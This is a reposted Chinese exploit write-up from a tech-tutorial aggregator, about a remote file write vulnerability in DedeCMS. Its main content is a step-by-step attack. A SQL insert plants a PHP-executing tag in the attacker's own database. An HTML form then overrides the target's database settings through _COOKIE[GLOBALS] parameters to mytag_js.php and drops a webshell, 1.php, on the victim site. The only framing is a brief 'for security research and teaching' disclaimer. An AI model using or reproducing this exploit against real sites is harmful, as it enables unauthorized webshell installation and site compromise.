dedecms织梦 标签远程文件写入漏洞

内容导读

互联网集市收集整理的这篇技术教程文章主要介绍了dedecms织梦 标签远程文件写入漏洞，小编现在分享给大家，供广大互联网技能从业者学习和参考。文章包含1554字，纯文字阅读大概需要3分钟。

内容图文

测试方法:

@Sebug.net   dis
本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!

1. 前题条件，必须准备好自己的 dede 数据库，然后插入数据：
2.  
3. insert into dede_mytag ( aid , normbody ) values ( 1 , ‘‘ { dede : php } $fp = @fopen ( "1.php" , \‘ ‘a\‘‘ ); @fwrite ( $fp , \‘ ‘\‘‘ ); echo "OK" ; @fclose ( $fp );{/ dede : php } ‘‘ );
4.  
5. 再用下面表单提交， shell 就在同目录下 1.php 。原理自己研究。。。
6.  
7. < form action = "" method = "post" name = "QuickSearch" id = "QuickSearch" onsubmit = "addaction();" >
8. < input type = "text" value = "http://www.tmdsb.com/plus/mytag_js.php?aid=1" name = "doaction" style = "width:400" >< br />
9. < input type = "text" value = "dbhost" name = "_COOKIE[GLOBALS][cfg_dbhost]" style = "width:400" >< br />
10. < input type = "text" value = "dbuser" name = "_COOKIE[GLOBALS][cfg_dbuser]" style = "width:400" >< br />
11. < input type = "text" value = "dbpwd" name = "_COOKIE[GLOBALS][cfg_dbpwd]" style = "width:400" >< br />
12. < input type = "text" value = "dbname" name = "_COOKIE[GLOBALS][cfg_dbname]" style = "width:400" >< br />
13. < input type = "text" value = "dede_" name = "_COOKIE[GLOBALS][cfg_dbprefix]" style = "width:400" >< br />
14. < input type = "text" value = "true" name = "nocache" style = "width:400" >
15. < input type = "submit" value = "提交" name = "QuickSearchBtn" >< br />
16. < /form>
17. <script>
18. function addaction()
19. {
20. document.QuickSearch.action=document.QuickSearch.doaction.value;
21. }
22. </ script >

原文：http://www.cnblogs.com/milantgh/p/3616049.html

内容总结

以上是互联网集市为您收集整理的dedecms织梦 标签远程文件写入漏洞全部内容，希望文章能够帮你解决dedecms织梦 标签远程文件写入漏洞所遇到的程序开发问题。 如果觉得互联网集市技术教程内容还不错，欢迎将互联网集市网站推荐给程序员好友。

内容备注

版权声明：本文内容由互联网用户自发贡献，该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容， 请发送邮件至 gblab@vip.qq.com 举报，一经查实，本站将立刻删除。

内容手机端

---